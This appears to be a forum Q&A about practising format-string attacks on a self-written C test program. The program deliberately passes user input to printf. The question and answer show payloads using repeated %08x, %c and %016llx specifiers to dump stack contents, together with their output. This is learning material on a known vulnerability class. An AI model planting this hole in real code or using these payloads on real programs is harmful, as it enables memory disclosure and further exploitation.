1

I've been practicing format-string attacks lately and I thought I knew how it works but after hours of research I did not manage to get the expected results.

I made a sample program which has a filled buffer and a format-string exploitable buffer:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char **argv)
{
    char buf[50] = { 0 };

    memset(&buf[0], 'A', 49);
    printf("Data: '%s'\n", &buf[0]);
    printf(argv[1]);
    return 0;
}

gcc a.c -fno-stack-protector

For some reason, when executing it with the format-string exploit I happen to retrieve only 25 A instead of the total of 49 filled thanks to the memset call.

$ ./a.out "`python -c 'print "%08x " * 30'`"
Data: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
00000002 17d37780 7fffffc7 00000000 0000003a ca18d548 00000000 41414141 41414141 41414141 41414141 41414141 41414141 ca180041 0d423100 00400680 17991830 00000000 ca18d548 17f60ca0 004005d6 00000000 c642cb54 004004e0 ca18d540 00000000 00000000 63a2cb54 e492cb54 00000000

Furthermore, I've been trying to retrieve the A individually by going character by character, but it appears to fail after a certain amount:

$ ./a.out "`python -c 'print "%08x " * 7 + "%c" * 25'`"
Data: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
00000002 225e2780 7fffffc7 00000000 0000003a 5264fb08 00000000 AAAAAAA�������

Why does the first command only print roughly half the number of As expected ? Why does the second command fail to print the As after a certain amount ?

Thanks.

1

You're doing it correct, you're just not using the correct string format. The injected printf is reading memory 8 bytes (64 bits) at a time, but you're only printing 4 byte (32 bit) hex dumps.
Try using a "long" version of the hex format instead: %016llx:

$ ./a.out "`python -c 'print "%016llx\n" * 30'`"
Data: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
0000000000000000
00000000ffffc8e8
000000018013ff20
4141414141414141
4141414141414141
4141414141414141
4141414141414141
4141414141414141
4141414141414141
00000000ffff0041
0000000000000000
0000000000000000
...

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.